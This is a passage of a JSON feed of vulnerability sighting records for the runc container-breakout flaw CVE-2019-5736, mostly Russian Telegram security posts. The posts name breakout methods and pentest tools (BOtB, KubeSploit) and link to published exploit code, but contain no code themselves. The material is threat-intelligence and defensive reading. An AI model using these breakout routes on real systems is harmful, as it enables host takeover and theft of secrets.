\u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u0443\u0435\u043c\u044b\u0445 \u0440\u0435\u0448\u0435\u043d\u0438\u0435\u043c, \u043f\u043e\u0434\u0433\u043e\u0442\u043e\u0432\u0438\u043b\u0438 \u043e\u043f\u0438\u0441\u0430\u043d\u0438\u0435 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u044b\u0445 \u0441\u043f\u043e\u0441\u043e\u0431\u043e\u0432 \u0438\u0445 \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044f. \"\u041f\u043e\u0438\u0433\u0440\u0430\u0442\u044c\u0441\u044f\" \u0441 \u0440\u0435\u0448\u0435\u043d\u0438\u0435\u043c \u043c\u043e\u0436\u043d\u043e \u043d\u0430 Katacoda.\n\n\u0415\u0441\u043b\u0438 \u0412\u0430\u043c \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u044b \u043f\u043e\u0434\u043e\u0431\u043d\u044b\u0435 \u043f\u0440\u043e\u0435\u043a\u0442\u044b, \u0442\u043e \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u043c \u043e\u0431\u0440\u0430\u0442\u0438\u0442\u044c \u0432\u043d\u0438\u043c\u0430\u043d\u0438\u0435 \u043d\u0430 \u043f\u0440\u043e\u0435\u043a\u0442 Kubernetes Goat (\u043a\u043e\u0442\u043e\u0440\u044b\u0439, \u043a\u0441\u0442\u0430\u0442\u0438, \u043d\u0435\u0434\u0430\u0432\u043d\u043e \u043e\u0431\u043d\u043e\u0432\u0438\u043b\u0441\u044f, \u0447\u0443\u0442\u044c \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u0435\u0435 \u043c\u043e\u0436\u043d\u043e \u043f\u043e\u0447\u0438\u0442\u0430\u0442\u044c \u0442\u0443\u0442)\n\nP.S. \u041f\u043e\u0437\u0434\u0440\u0430\u0432\u043b\u044f\u0435\u043c \u0432\u0441\u0435\u0445 \u0441 \u043d\u0430\u0441\u0442\u0443\u043f\u0430\u044e\u0449\u0438\u043c \u043f\u0440\u0430\u0437\u0434\u043d\u0438\u043a\u043e\u043c!!! \u041e\u0442\u043b\u0438\u0447\u043d\u0435\u0439\u0448\u0435\u0433\u043e \u043e\u0442\u0434\u044b\u0445\u0430!!!", "creation_timestamp": "2026-08-04T12:00:08.026009Z"}, {"uuid": "0e455fd2-e840-4ad3-8d5e-d16cbb5d7df1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-5736", "type": "seen", "source": "https://t.me/devsecops_weekly/194", "content": "\u0412\u0441\u0435\u043c \u043f\u0440\u0438\u0432\u0435\u0442!\n\n\u0414\u043b\u044f \u0442\u0435\u0441\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u043d\u0430\u0441\u0442\u0440\u043e\u0435\u043a \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0438\u043b\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u044b\u0445 \u0421\u0417\u0418 \u0437\u0430\u0447\u0430\u0441\u0442\u0443\u044e \u043d\u0443\u0436\u0435\u043d \u00ab\u043f\u043e\u0434\u043e\u043f\u044b\u0442\u043d\u044b\u0439\u00bb, \u043f\u0440\u0438 \u043f\u043e\u043c\u043e\u0449\u0438 \u043a\u043e\u0442\u043e\u0440\u043e\u0433\u043e \u043c\u043e\u0436\u043d\u043e \u043f\u0440\u043e\u0432\u043e\u0434\u0438\u0442\u044c \u0438\u0441\u043f\u044b\u0442\u0430\u043d\u0438\u044f.\n\n\u041f\u043e \u0441\u0441\u044b\u043b\u043a\u0435 \u0434\u043e\u0441\u0442\u0443\u043f\u0435\u043d \u043e\u0431\u0440\u0430\u0437 BOtB: Break out of the box! \u0421\u043e\u0433\u043b\u0430\u0441\u043d\u043e \u043e\u043f\u0438\u0441\u0430\u043d\u0438\u044e, BOtB \u2013 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442 \u0434\u043b\u044f \u0430\u043d\u0430\u043b\u0438\u0437\u0430 \u0438 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440\u0430\u0445, \u043f\u043e\u0434\u0433\u043e\u0442\u043e\u0432\u043b\u0435\u043d\u043d\u044b\u0439 \u0434\u043b\u044f \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f pentester\u2019\u0430\u043c\u0438 \u0438 \u0438\u043d\u0436\u0435\u043d\u0435\u0440\u0430\u043c\u0438.\n\n\u0427\u0442\u043e \u043e\u043d \u0443\u043c\u0435\u0435\u0442? \u041d\u0430\u043f\u0440\u0438\u043c\u0435\u0440 (\u0441\u043f\u0438\u0441\u043e\u043a \u043d\u0435 \u043f\u043e\u043b\u043d\u044b\u0439):\n\ud83c\udf6d Container breakout \u0447\u0435\u0440\u0435\u0437 exposed Docker daemons (docker.sock)\n\ud83c\udf6d Container breakout \u0447\u0435\u0440\u0435\u0437 CVE-2019-5736\n\ud83c\udf6d Privileged container breakout \u0447\u0435\u0440\u0435\u0437 \u0438\u043c\u0435\u044e\u0449\u0438\u0435\u0441\u044f CAPS \u0438 SYSCALLS\n\ud83c\udf6d \u0418\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044f \u0438 \u043f\u043e\u043f\u044b\u0442\u043a\u0430 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f Kubernetes Service Accounts secrets \n\ud83c\udf6d \u0418\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044f \u0438 \u0430\u043d\u0430\u043b\u0438\u0437 \u0447\u0443\u0432\u0441\u0442\u0432\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445 \u0432 ENV \u0438 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432 \u0432 the ProcFS, \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440 /Proc/{pid}/Environ\n\n\u0412\u0441\u0435 \u0432\u044b\u0448\u0435\u043e\u043f\u0438\u0441\u0430\u043d\u043d\u043e\u0435 \u0438 \u043d\u0435 \u0442\u043e\u043b\u044c\u043a\u043e \u043c\u043e\u0436\u043d\u043e \u0440\u0435\u0430\u043b\u0438\u0437\u043e\u0432\u0430\u0442\u044c \u0447\u0435\u0440\u0435\u0437 \u0430\u0440\u0433\u0443\u043c\u0435\u043d\u0442\u044b CLI \u0438\u043b\u0438 \u0441 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c YAML config file.\n\nP.S. \u0415\u0441\u043b\u0438 \u0437\u0430\u0445\u043e\u0442\u0438\u0442\u0435 \u043f\u0440\u043e\u0442\u0435\u0441\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u2013 \u0434\u0435\u043b\u0430\u0439\u0442\u0435 \u044d\u0442\u043e \u0430\u043a\u043a\u0443\u0440\u0430\u0442\u043d\u043e, \u0432 \u0442\u0435\u0441\u0442\u043e\u0432\u043e\u043c \u043e\u043a\u0440\u0443\u0436\u0435\u043d\u0438\u0438, \u0441\u043f\u0435\u0440\u0432\u0430 \u0434\u0435\u0442\u0430\u043b\u044c\u043d\u043e \u0438\u0437\u0443\u0447\u0438\u0432 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u0438 \u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440\u0430", "creation_timestamp": "2026-08-04T12:00:08.118638Z"}, {"uuid": "3c7c70d2-dbe7-4ee0-8a19-c0032d64ee1b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-5736", "type": "seen", "source": "https://t.me/sysadmin_tools/785", "content": "\u0412 runc, \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u0430\u0440\u0438\u0438 \u0434\u043b\u044f \u0437\u0430\u043f\u0443\u0441\u043a\u0430 \u0438\u0437\u043e\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440\u043e\u0432, \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u0430 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c (CVE-2019-5736), \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0430\u044f \u0438\u0437 \u043f\u043e\u0434\u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0438\u0437\u043e\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e \u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440\u0430 \u0438\u0437\u043c\u0435\u043d\u0438\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u044b\u0439 \u0444\u0430\u0439\u043b runc \u0438 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c root-\u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0438 \u043d\u0430 \u0441\u0442\u043e\u0440\u043e\u043d\u0435 \u0445\u043e\u0441\u0442-\u0441\u0438\u0441\u0442\u0435\u043c\u044b. \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u0432\u0441\u0435 \u0441\u0438\u0441\u0442\u0435\u043c\u044b \u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440\u043d\u043e\u0439 \u0438\u0437\u043e\u043b\u044f\u0446\u0438\u0438, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0449\u0438\u0435 runtime runc, \u0432\u043a\u043b\u044e\u0447\u0430\u044f Docker, cri-o, containerd, Kubernetes, Podman \u0438 flatpak. \u0422\u0430\u043a\u0436\u0435 \u043e\u0442\u043c\u0435\u0447\u0430\u0435\u0442\u0441\u044f, \u0447\u0442\u043e \u0430\u043d\u0430\u043b\u043e\u0433\u0438\u0447\u043d\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043f\u0440\u0438\u0441\u0443\u0442\u0441\u0442\u0432\u0443\u0435\u0442 \u0432 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u0430\u0440\u0438\u044f\u0445 LXC \u0438 Apache Mesos.\n\n http://bit.ly/2UWPPgH", "creation_timestamp": "2026-08-02T00:00:23.288669Z"}, {"uuid": "f5b0b4c1-9d5a-40b0-a3fe-00c337b6afd7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-5736", "type": "published-proof-of-concept", "source": "https://t.me/oleg_log/1433", "content": "\u0415\u0441\u043b\u0438 \u0442\u044b \u043d\u0435 \u0438\u0434\u0435\u0448\u044c \u043a \u0433\u0443\u0433\u043b\u0443, \u0433\u0443\u0433\u043b(\u0412\u0430\u0434\u0438\u043c) \u043f\u0440\u0438\u0445\u043e\u0434\u0438\u0442 \u043a \u0442\u0435\u0431\u0435:\n\n> Subject: CVE-2019-5736: runc container breakout \nexploit code\nhttps://www.openwall.com/lists/oss-security/2019/02/13/3\n\n\u0421\u043f\u0430\u0441\u0438\u0431\u043e, \u0433\u0443\u0433\u043b-\u0412\u0430\u0434\u0438\u043c \ud83d\ude4c", "creation_timestamp": "2026-08-02T00:00:24.155273Z"}, {"uuid": "d1fda5c8-3eaf-4100-a554-270952c3c0b2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-5736", "type": "exploited", "source": "https://t.me/cisoclub/4355", "content": "\u0412\u044b\u0431\u043e\u0440 \u0421\u0417\u0418 \u0434\u043b\u044f \ud83d\udd12\u0437\u0430\u0449\u0438\u0442\u044b \u0432\u0438\u0440\u0442\u0443\u0430\u043b\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u0432 \u0438 \ud83d\udce6\u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440\u043e\u0432\n\n\u041a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440\u044b \u0438 \u0432\u0438\u0440\u0442\u0443\u0430\u043b\u044c\u043d\u044b\u0435 \u043c\u0430\u0448\u0438\u043d\u044b \u0434\u0430\u0432\u043d\u043e \u043f\u0435\u0440\u0435\u0441\u0442\u0430\u043b\u0438 \u0431\u044b\u0442\u044c \u0438\u0433\u0440\u0443\u0448\u043a\u043e\u0439 DevOps-\u043a\u043e\u043c\u0430\u043d\u0434\u044b \u0438 \u0441\u0435\u0433\u043e\u0434\u043d\u044f \u043e\u0431\u0441\u043b\u0443\u0436\u0438\u0432\u0430\u044e\u0442 \u0436\u0438\u0437\u043d\u0435\u043d\u043d\u043e \u0432\u0430\u0436\u043d\u044b\u0435 \u0441\u0435\u0440\u0432\u0438\u0441\u044b \u2014 \u043e\u0442 \u043f\u043b\u0430\u0442\u0451\u0436\u043d\u044b\u0445 \u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c \u0434\u043e \u0442\u0435\u0445\u043d\u043e\u043b\u043e\u0433\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432 \u0432 \u0410\u0421\u0423 \u0422\u041f. \u041e\u0434\u043d\u0430\u043a\u043e \u0441 \u0440\u043e\u0441\u0442\u043e\u043c \u043c\u0430\u0441\u0448\u0442\u0430\u0431\u0430 \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b \u0440\u0430\u0441\u0448\u0438\u0440\u044f\u0435\u0442\u0441\u044f \u0438 \u00ab\u043f\u043b\u043e\u0449\u0430\u0434\u044c \u0430\u0442\u0430\u043a\u0438\u00bb. \n\n\u0422\u0430\u043a, \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u0435 \u043f\u043e\u043a\u0430\u0437\u0430\u043b\u043e, \u0447\u0442\u043e \u0441\u0432\u044b\u0448\u0435 30 % \u043e\u0444\u0438\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0445 \u043e\u0431\u0440\u0430\u0437\u043e\u0432 \u0432 Docker Hub \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0442 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0435 CVE, \u043f\u0440\u0438\u0447\u0451\u043c \u0440\u0435\u0447\u044c \u0438\u0434\u0451\u0442 \u0438\u043c\u0435\u043d\u043d\u043e \u043e \u00ab\u0437\u0430\u0432\u0435\u0440\u0435\u043d\u043d\u044b\u0445\u00bb \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u044f\u0445, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043c\u043d\u043e\u0433\u0438\u0435 \u0441\u0447\u0438\u0442\u0430\u044e\u0442 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u044b\u043c\u0438 \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e. \n\n\u0412 runtime-\u0441\u0440\u0435\u0434\u0435 \u0441\u0438\u0442\u0443\u0430\u0446\u0438\u044f \u043d\u0435 \u043b\u0443\u0447\u0448\u0435: \u0437\u043d\u0430\u043c\u0435\u043d\u0438\u0442\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2019-5736 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u043b\u0430 \u0432\u044b\u0440\u0432\u0430\u0442\u044c\u0441\u044f \u0438\u0437 \u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440\u0430 \u043d\u0430 \u0445\u043e\u0441\u0442 \u0431\u0443\u043a\u0432\u0430\u043b\u044c\u043d\u043e \u043e\u0434\u043d\u043e\u0439 \u043a\u043e\u043c\u0430\u043d\u0434\u043e\u0439. \u0418 \u0435\u0441\u043b\u0438 \u0440\u0430\u043d\u044c\u0448\u0435 \u043f\u043e\u0434\u043e\u0431\u043d\u044b\u0435 \u043f\u0440\u043e\u0438\u0441\u0448\u0435\u0441\u0442\u0432\u0438\u044f \u0440\u0435\u0434\u043a\u043e \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u0438\u043b\u0438 \u0437\u0430 \u043f\u0440\u0435\u0434\u0435\u043b\u044b \u043b\u0430\u0431\u043e\u0440\u0430\u0442\u043e\u0440\u0438\u0438, \u0442\u043e \u0432 2024 \u0433. \u0443\u0442\u0435\u0447\u043a\u0430 \u0434\u0430\u043d\u043d\u044b\u0445 \u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043b\u0430\u0441\u044c \u0443\u0436\u0435 \u0432 52 % \u0443\u0441\u043f\u0435\u0448\u043d\u044b\u0445 \u0430\u0442\u0430\u043a \u043d\u0430 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0438.\n\n\u041f\u0440\u043e\u0447\u0438\u0442\u0430\u0442\u044c \u0441\u0442\u0430\u0442\u044c\u044e \u043f\u043e\u043b\u043d\u043e\u0441\u0442\u044c\u044e \u043c\u043e\u0436\u043d\u043e \u0437\u0434\u0435\u0441\u044c.", "creation_timestamp": "2026-08-03T16:00:04.924487Z"}, {"uuid": "c5677bd4-9611-4527-adbf-bd757e05f69f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-5736", "type": "published-proof-of-concept", "source": "https://t.me/reverseame/3982", "content": "Breaking out of Docker via runC \u2013 Explaining CVE-2019-5736 https://unit42.paloaltonetworks.com/breaking-docker-via-runc-explaining-cve-2019-5736/", "creation_timestamp": "2026-08-02T11:19:34.428779Z"}, {"uuid": "8c4b3938-5800-4bee-b994-30c63a50bd63", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-5736", "type": "published-proof-of-concept", "source": "https://t.me/reverseame/3351", "content": "Breaking out of Docker via runC \u2013 Explaining CVE-2019-5736 https://unit42.paloaltonetworks.com/breaking-docker-via-runc-explaining-cve-2019-5736/", "creation_timestamp": "2026-08-02T17:00:04.490589Z"}, {"uuid": "002e1f8a-3fbd-4ad7-8f5d-ea57a448b82b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-5736", "type": "exploited", "source": "https://t.me/cisoclub/4355", "content": "\u0412\u044b\u0431\u043e\u0440 \u0421\u0417\u0418 \u0434\u043b\u044f \ud83d\udd12\u0437\u0430\u0449\u0438\u0442\u044b \u0432\u0438\u0440\u0442\u0443\u0430\u043b\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u0432 \u0438 \ud83d\udce6\u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440\u043e\u0432\n\n\u041a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440\u044b \u0438 \u0432\u0438\u0440\u0442\u0443\u0430\u043b\u044c\u043d\u044b\u0435 \u043c\u0430\u0448\u0438\u043d\u044b \u0434\u0430\u0432\u043d\u043e \u043f\u0435\u0440\u0435\u0441\u0442\u0430\u043b\u0438 \u0431\u044b\u0442\u044c \u0438\u0433\u0440\u0443\u0448\u043a\u043e\u0439 DevOps-\u043a\u043e\u043c\u0430\u043d\u0434\u044b \u0438 \u0441\u0435\u0433\u043e\u0434\u043d\u044f \u043e\u0431\u0441\u043b\u0443\u0436\u0438\u0432\u0430\u044e\u0442 \u0436\u0438\u0437\u043d\u0435\u043d\u043d\u043e \u0432\u0430\u0436\u043d\u044b\u0435 \u0441\u0435\u0440\u0432\u0438\u0441\u044b \u2014 \u043e\u0442 \u043f\u043b\u0430\u0442\u0451\u0436\u043d\u044b\u0445 \u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c \u0434\u043e \u0442\u0435\u0445\u043d\u043e\u043b\u043e\u0433\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432 \u0432 \u0410\u0421\u0423 \u0422\u041f. \u041e\u0434\u043d\u0430\u043a\u043e \u0441 \u0440\u043e\u0441\u0442\u043e\u043c \u043c\u0430\u0441\u0448\u0442\u0430\u0431\u0430 \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b \u0440\u0430\u0441\u0448\u0438\u0440\u044f\u0435\u0442\u0441\u044f \u0438 \u00ab\u043f\u043b\u043e\u0449\u0430\u0434\u044c \u0430\u0442\u0430\u043a\u0438\u00bb. \n\n\u0422\u0430\u043a, \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u0435 \u043f\u043e\u043a\u0430\u0437\u0430\u043b\u043e, \u0447\u0442\u043e \u0441\u0432\u044b\u0448\u0435 30 % \u043e\u0444\u0438\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0445 \u043e\u0431\u0440\u0430\u0437\u043e\u0432 \u0432 Docker Hub \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0442 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0435 CVE, \u043f\u0440\u0438\u0447\u0451\u043c \u0440\u0435\u0447\u044c \u0438\u0434\u0451\u0442 \u0438\u043c\u0435\u043d\u043d\u043e \u043e \u00ab\u0437\u0430\u0432\u0435\u0440\u0435\u043d\u043d\u044b\u0445\u00bb \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u044f\u0445, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043c\u043d\u043e\u0433\u0438\u0435 \u0441\u0447\u0438\u0442\u0430\u044e\u0442 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u044b\u043c\u0438 \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e. \n\n\u0412 runtime-\u0441\u0440\u0435\u0434\u0435 \u0441\u0438\u0442\u0443\u0430\u0446\u0438\u044f \u043d\u0435 \u043b\u0443\u0447\u0448\u0435: \u0437\u043d\u0430\u043c\u0435\u043d\u0438\u0442\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2019-5736 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u043b\u0430 \u0432\u044b\u0440\u0432\u0430\u0442\u044c\u0441\u044f \u0438\u0437 \u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440\u0430 \u043d\u0430 \u0445\u043e\u0441\u0442 \u0431\u0443\u043a\u0432\u0430\u043b\u044c\u043d\u043e \u043e\u0434\u043d\u043e\u0439 \u043a\u043e\u043c\u0430\u043d\u0434\u043e\u0439. \u0418 \u0435\u0441\u043b\u0438 \u0440\u0430\u043d\u044c\u0448\u0435 \u043f\u043e\u0434\u043e\u0431\u043d\u044b\u0435 \u043f\u0440\u043e\u0438\u0441\u0448\u0435\u0441\u0442\u0432\u0438\u044f \u0440\u0435\u0434\u043a\u043e \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u0438\u043b\u0438 \u0437\u0430 \u043f\u0440\u0435\u0434\u0435\u043b\u044b \u043b\u0430\u0431\u043e\u0440\u0430\u0442\u043e\u0440\u0438\u0438, \u0442\u043e \u0432 2024 \u0433. \u0443\u0442\u0435\u0447\u043a\u0430 \u0434\u0430\u043d\u043d\u044b\u0445 \u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043b\u0430\u0441\u044c \u0443\u0436\u0435 \u0432 52 % \u0443\u0441\u043f\u0435\u0448\u043d\u044b\u0445 \u0430\u0442\u0430\u043a \u043d\u0430 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0438.\n\n\u041f\u0440\u043e\u0447\u0438\u0442\u0430\u0442\u044c \u0441\u0442\u0430\u0442\u044c\u044e \u043f\u043e\u043b\u043d\u043e\u0441\u0442\u044c\u044e \u043c\u043e\u0436\u043d\u043e \u0437\u0434\u0435\u0441\u044c.", "creation_timestamp": "2026-08-04T01:00:13.633310Z"}, {"uuid": "fcb9ebca-1d2d-4dc1-816a-e2eb9ef58604", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-5736", "type": "seen", "source": "https://t.me/devsecops_weekly/303", "content": "\u0412\u0441\u0435\u043c \u043f\u0440\u0438\u0432\u0435\u0442!\n\n\u0418\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u0430\u044f \u043f\u043e\u0434\u0431\u043e\u0440\u043a\u0430 \u0441 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u044b\u043c\u0438 \u0441\u043f\u043e\u0441\u043e\u0431\u0430\u043c\u0438 Docker Breakout:\n\n\ud83c\udf6d Mounted Docker Socket\n\ud83c\udf6d Container Capabilities \u0438 Privileged\n\ud83c\udf6d Runc exploit (CVE-2019-5736)\n\ud83c\udf6d Docker API Firewall Bypass\n\ud83c\udf6d Writable hostPath Mount \n\n\u0420\u0430\u0441\u0441\u043c\u0430\u0442\u0440\u0438\u0432\u0430\u044e\u0442\u0441\u044f \u043f\u0440\u0438\u043c\u0435\u0440\u044b \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438, \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u044e\u0442\u0441\u044f \u0441\u0441\u044b\u043b\u043a\u0438 \u043d\u0430 \u0431\u043e\u043b\u0435\u0435 \u0434\u0435\u0442\u0430\u043b\u044c\u043d\u0443\u044e \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044e \u043e \u0442\u043e\u043c \u0438\u043b\u0438 \u0438\u043d\u043e\u043c \u0441\u043f\u043e\u0441\u043e\u0431\u0435 \u00ab\u043f\u043e\u0431\u0435\u0433\u0430\u00bb (\u0432 \u0441\u043b\u0443\u0447\u0430\u0435, \u0435\u0441\u043b\u0438 \u044d\u0442\u043e \u0434\u043e\u043f\u0443\u0441\u0442\u0438\u043c\u043e)\n\nP.S. \u041a\u0441\u0442\u0430\u0442\u0438, \u043d\u0430 \u0440\u0435\u0441\u0443\u0440\u0441\u0435 \u0435\u0449\u0435 \u043c\u043d\u043e\u0433\u043e \u0447\u0435\u0433\u043e \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u043e\u0433\u043e, \u0441 \u0447\u0435\u043c \u043c\u043e\u0436\u043d\u043e \u043e\u0437\u043d\u0430\u043a\u043e\u043c\u0438\u0442\u044c\u0441\u044f \u0441 \u0442\u043e\u0447\u043a\u0438 \u0437\u0440\u0435\u043d\u0438\u044f \u043f\u0440\u0430\u043a\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0438 \u0442\u0435\u0441\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u043d\u0430 \u043f\u0440\u043e\u043d\u0438\u043a\u043d\u043e\u0432\u0435\u043d\u0438\u0435", "creation_timestamp": "2026-08-04T13:00:27.153805Z"}, {"uuid": "b84551b7-5922-4d99-839f-9a3efb4f9c8e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-5736", "type": "seen", "source": "https://t.me/devsecops_weekly/238", "content": "\u0412\u0441\u0435\u043c \u043f\u0440\u0438\u0432\u0435\u0442!\n\n\u041f\u043e \u0441\u0441\u044b\u043b\u043a\u0435 \u0434\u043e\u0441\u0442\u0443\u043f\u0435\u043d \u043f\u0440\u043e\u0435\u043a\u0442 KubeSploit, \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u0438\u0432\u0430\u0435\u043c\u044b\u0439 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0435\u0439 CyberArk. \u041f\u0440\u0438 \u043f\u043e\u043c\u043e\u0449\u0438 \u043d\u0435\u0433\u043e \u043c\u043e\u0436\u043d\u043e \u0440\u0435\u0430\u043b\u0438\u0437\u043e\u0432\u0430\u0442\u044c:\n\n\ud83c\udf6d 